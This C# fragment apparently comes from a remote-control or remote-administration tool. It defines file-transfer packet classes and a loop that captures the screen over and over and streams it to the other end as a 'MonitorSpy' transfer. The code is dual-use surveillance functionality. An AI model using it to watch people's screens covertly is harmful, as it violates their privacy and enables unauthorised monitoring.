public S_FileTransferSend(ClientConnect client, FileTransfer info, byte[] bytes, int Index)
     : base(client)
 {
     this.info = info;
     this.bytes = bytes;
     this.Index = Index;
 }
 public S_FileTransferSendComplete(FileTransferConnect client, FileTransfer info)
     : base(client)
 {
     this.info = info;
 }
 public S_FileTransferSendBegin(FileTransferConnect client, FileTransfer info, SendType type)
     : base(client)
 {
     this.info = info;
     this.type = type;
 }
 public void SendFile(FileTransfer info, byte[] FileBytes, S_FileTransferSendBegin.SendType type)
 {
     SendPacket(new S_FileTransferSendBegin(this, info, type));
     Thread thread = new Thread(new ParameterizedThreadStart(ThreadSendFile));
     thread.Start(new object[] { info, FileBytes });
 }
        public void SendRemoteScreen()
        {
            while (EnableRemoteControl)
            {
                try
                {
                    //Thread.Sleep(1000 / 30); //30fps is max speed we can get...
                    Bitmap ScreenImage = ScreenCapture.CaptureScreen();
                    byte[] ScreenBytes = ScreenCapture.BitmapToBytes(ScreenImage);
                    GC.Collect();

                    FileTransfer info = new FileTransfer();
                    info.type = -1; //-1 = monitor spy
                    SendFile(info, ScreenBytes, S_FileTransferSendBegin.SendType.MonitorSpy);
                }
                catch{}
            }
        }